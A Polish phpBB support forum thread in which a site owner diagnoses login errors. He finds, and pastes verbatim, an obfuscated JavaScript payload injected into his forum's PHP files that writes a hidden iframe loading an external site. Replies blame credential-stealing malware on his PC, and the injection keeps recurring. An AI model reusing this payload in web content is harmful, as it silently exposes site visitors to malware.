Polskie forum wsparcia dla phpBB

Wstaję dziś rano wchodzę na forum a tu nagle pojawiły się straszne błędy! Nie mam pojęcia skąd się wzięły i co jest ich przyczyną, do wczoraj wszystko chodziło jak należy i od wczoraj nie wprowadzałem żadnych nowych modyfikacji. Na stronie głównej forum pokazują się błędy:

[phpBB Debug] PHP Notice: in file /includes/session.php on line 990: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 990: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 990: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3883: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3885: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3886: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3887: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)

Następnie nie mam możliwości zalogowania się! Proszę o pomoc

a kiedy ostatnio coś modyfikowałeś?

może po modyfikacji nie wyczyściłeś cache i błąd pojawił się dopiero po samoczynnym wyczyszczeniu cache?

pokaż co masz w linii 1040 pliku /includes/auth.php

Tak więc poradziłem sobie, w plikach auth.php oraz index.php znalazłem nie wiem skąd linijki po ?> :

<!-- ad --><script language="JavaScript">function rkfg(jflq){return String.fromCharCode(jflq);}var ohhe="060105102114097109101032115114099061039104116116112058047047115117112101114105111114097100122046105110102111047111112105115047063116061049051039032119105100116104061039048039032104101105103104116061039048039032115116121108101061039118105115105098105108105116121058032104105100100101110059039062060047105102114097109101062";var ifdm="";for(qhxk=0;qhxk<ohhe.length;qhxk+=3){ifdm+=rkfg(ohhe.substr (qhxk, 3));}window.status='Done';document.write(ifdm);</script>
<!-- /ad -->

oraz

<!-- ad --><script language="JavaScript">function rkfg(jflq){return String.fromCharCode(jflq);}var ohhe="060105102114097109101032115114099061039104116116112058047047115117112101114105111114097100122046105110102111047111112105115047063116061049051039032119105100116104061039048039032104101105103104116061039048039032115116121108101061039118105115105098105108105116121058032104105100100101110059039062060047105102114097109101062";var ifdm="";for(qhxk=0;qhxk<ohhe.length;qhxk+=3){ifdm+=rkfg(ohhe.substr (qhxk, 3));}window.status='Done';document.write(ifdm);</script>
<!-- /ad -->

Nie mam pojęcia skąd to się wzięło, usunąłem to i jest ok. Czy możliwe że to jest jakaś luka w phpbb3?

generalnie to jest jakaś reklama, ale skąd się tam wzięła to już ja Ci nie powiem.
może zmień hasło do FTP jeżeli masz jakieś proste

No dzięki, gościu z firmy hostingowej powiedział że to luka w phpbb3...

gościu z firmy hostingowej powiedział że to luka w phpbb3.

Taaak, bo on się zna na phpBB3..

Jaką wersje skryptu masz? Może to jakieś dodatkowe mody są dziurawe?

Najnowsza, 3.0.4. Trochę modów jest..

Przez samo phpBB3 na pewno nikt nic nie dodał. To Ty musiałeś coś zepsuć.. Tak bywa jak się wrzuci w skrypt od razu nie wiadomo ile i jakich modów..

Ps. Pracownicy hostingu zawsze myją rączki, więc nie kieruj się tylko tym co Ci napiszą.

Niech zgadnę — korzystasz z Total Commandera do przesyłania plików?

Zgadłeś. Proszę o jakieś wskazówki bo jestem zaniepokojony...

Zmień klienta FTP. Polecam FileZillę. Przyczyną jest wirus, który modyfikuje pliki wysyłane przez Total Commandera.

Radzę też zmienić hosting, bo po ich odpowiedzi nie sądzę, żeby wiedzieli co robią.

No właśnie trochę mnie nastraszyli, napisali że to na bank luka w phpbb3. Hosting to xon.pl, nie mam z forum żadnych problemów jeśli chodzi o hosting, stronka chodzi idealnie...

Powinni wywalić tego total comandera z sieci skoro jakieś wirusy rozpowszechnia. Dzięki za całą pomoc, forum okazało się bardzo pomocne.

SSSSSS pisze:Powinni wywalić tego total comandera z sieci skoro jakieś wirusy rozpowszechnia. Dzięki za całą pomoc, forum okazało się bardzo pomocne.

To nie wina Total Commandera. Po prostu gdzieś załapałeś ostatnio popularnego wirusa.

Myślałem że już sobie z tym poradziłem jednak problem systematycznie powraca i nie wiem jak go usunąć. Codziennie w nocy pojawia się ten sam błąd, mało tego, wchodząc na forum antywirus alarmuje że odkrył malware. W 3 plikach znajduję kod skryptu który jakimś cudem sam się dopisuje ??? Są to pliki Includes/auth.php, includes/index.htm oraz root/index.php. Po usunięciu tego kodu i wgraniu na nowo plików na serwer problem jest rozwiązany, ale nie na stałe. Mija dzień i znowu to samo. Nie będę przecież codziennie edytował tych plików, nie mam pojęcia jak to się rozpowszechnia i jak to usunąć, bardzo was proszę o pomoc. Dodam jeszcze że zmieniłem program na File zilla i edytowane pliki przesyłam przez ten program. Nic nie pomaga i co jakiś czas pojawia się ten sam problem